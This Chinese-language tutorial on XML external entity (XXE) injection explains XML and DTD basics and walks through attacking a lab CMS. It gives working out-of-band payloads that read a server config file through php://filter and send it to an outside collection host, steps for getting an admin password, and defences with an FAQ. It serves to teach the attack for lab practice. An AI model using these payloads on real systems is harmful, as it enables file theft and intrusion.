[TOC]
XXE实体注入
什么是XXE
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader
设置为TRUE
来禁用外部实体,从而起到防御的目的。
注入:用户输入的数据被当作代码执行。
XXE:用户输入的数据被当作xml
执行。
什么是XML
XML:
- 指可扩展标记语言;
- 一种标记语言,很类似HTML;
- 设计宗旨是传输数据,而非显示数据;
- XML标签没有被预定义,你需要自行定义标签;
- XML被设计为具有自我描述性;
- XML是W3C的推荐标准。
XML特点:
- XML仅仅是纯文本,他不会做任何事情;
- XML可以自己发明标签(允许定义自己的标签和文档结构)
XML的定义
存储数据的东西。
XML
无所不在。XML
是各种应用程序自建进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
XML的结构
<?xml version="1.0" > # XML声明
<!DOCTYPE foo [ # DTD部分
<!ELEMENT foo ANY > # DTD部分
<!ENTITY xxe SYSTEM "file:///etc/passwd">]> # DTD部分,核心定义部分
<foo>&xee;</foo> # XML部分,具体存储内容部分
结构:
- XML声明部分;
- DTD部分(某一个复杂的词或者段落会在文中出现很多很多次)定义的时候,可以去外部读取数据;
- XML内容部分。
定义实体必须写在DTD部分! DTD可以从外部获取数据然后定义实体(变量)!
XML不同语言支持协议
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部引用可支持http
,file
等协议,不同的语言支持的协议不通,但存在一些通用的协议,具体内容如下
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar |
XXE操作流程
1、1.xml
先获取我们要拿的数据;
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://59.63.200.79:8017/2.php?id=%file;'>"
>
%all;
2、2.php
把拿的数据拼接成http
请求发送到我们的外部地址;
3、执行代码;
4、3.txt
通过我们的外部地址读取到获取的内容。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>
XXE实战
已知靶场是一个标准的CMS,存在 wexin目录下 index.php 存在XXE实体注入点!
本地实战
<!ENTITY % all
"<!ENTIRY % send SYSTEM 'http://192.168.10.15/2.php?id=%file;'>">
1、获取代码中存在问题的点
当$signature不为空直接将POST提交上去的数据放入了simplexml_load_string函数。
2、Burp抓包修改请求
3、在线解析base64
在线靶场实战
1、靶场地址
http://59.63.200.79:8207/
2、清空3.txt的内容,避免干扰
3、Burp抓包构造请求
4、base64解码
5、目录扫描得到数据库管理页面
修改邮箱地址!
得到后台admin密码!
由于验证码半天没有收到,暂时完成,停止!
XXE的防御手法
一、使用开发语言提供的禁用外部实体方法
php
中 libxml_disable_entity_loader(true);
其他语言: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
二、过滤用户提交的XML数据
过滤关键字: SYSTEM
和 PUBLIC
总结
XXE实体注入,也是注入的一种,也是将用户的输入的数据被当作xml配置执行,从而实现获取数据!
流程:
- 获取存在问题的页面;
- 抓包对该页面发起XML注入的数据;
- 该数据中包含获取关键文件的数据,并向外部发起包含该变量值的请求;
- 外部存储该数据;
- 获取该数据。
XXE常见问题
何为XXE?
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
XML又是什么呢?
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML有什么特点
XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
既然XML是纯文本为什么还会产生注入呢
原本xml本身是没有任何作用,但是在PHP里有一个函数叫做simplexml_load_string,他的作用是把xml转化为对象。【注:其他语言也有类似函数】
XML和HTML是什么关系
XML被设计用来传输和存储数据。
HTML被设计用来显示数据。
为什么使用 DTD?
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
您还可以使用 DTD 来验证您自身的数据。
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
1. 内部实体声明:<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">
2. 外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">
怎么构造外部实体注入?
1. 直接通过DTD外部实体声明
2. 通过DTD文档引入外部DTD文档,再引入外部实体声明
3. 通过DTD外部实体声明引入外部实体声明
XML外部实体攻击又是什么
XML 外部实体注入简称XXE有了XML实体,关键字SYSTEM会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。
XXE在php中除了靶场用到的file协议还支持那些协议呢
file:可用 file://文件地址,来读取文件
http:可以访问 HTTP(S) 网址
FTP:访问 FTP
PHP:访问各个 输入/输出 流
zlib:压缩流
data:数据
glob:查找匹配的文件格式路径
expect:处理交互式的流,可用来执行命令,但需要先安装相应插件
为什么要进行base64编码
为了防止一些特殊字符对我们产生影响
我们炮台在xxe中具体起到什么作用呢
很多时候语言解析执行了XML后并不会给你输出,我们这个是时候可以使用一个类似与于接受的平台,然后去平台查看就可以获取到数据。
如何防御XXE呢
1. 使用开发语言提供的禁用外部实体的方法
2. 过滤用户提交的XML数据
XXE的真实案例
在2018年7月4日微信SDK爆出XXE漏洞,通过该漏洞,攻击者可以获取服务器中目录结构、文件内容,如代码、各种私钥等。获取这些信息以后,攻击者便可以为所欲为。
他是由于微信支付SDK的XXE漏洞产生原因都是因为使用了DocumentBuilderFactory没有限制外部查询而导致XXE,我们的靶场也是基于这个漏洞。
XXE如何寻找
当同学遇到传参的地方出现了XML代码格式的东西,不妨传参一些XML代码去尝试看看传参后是否有报错,页面是否显示了实体中的东西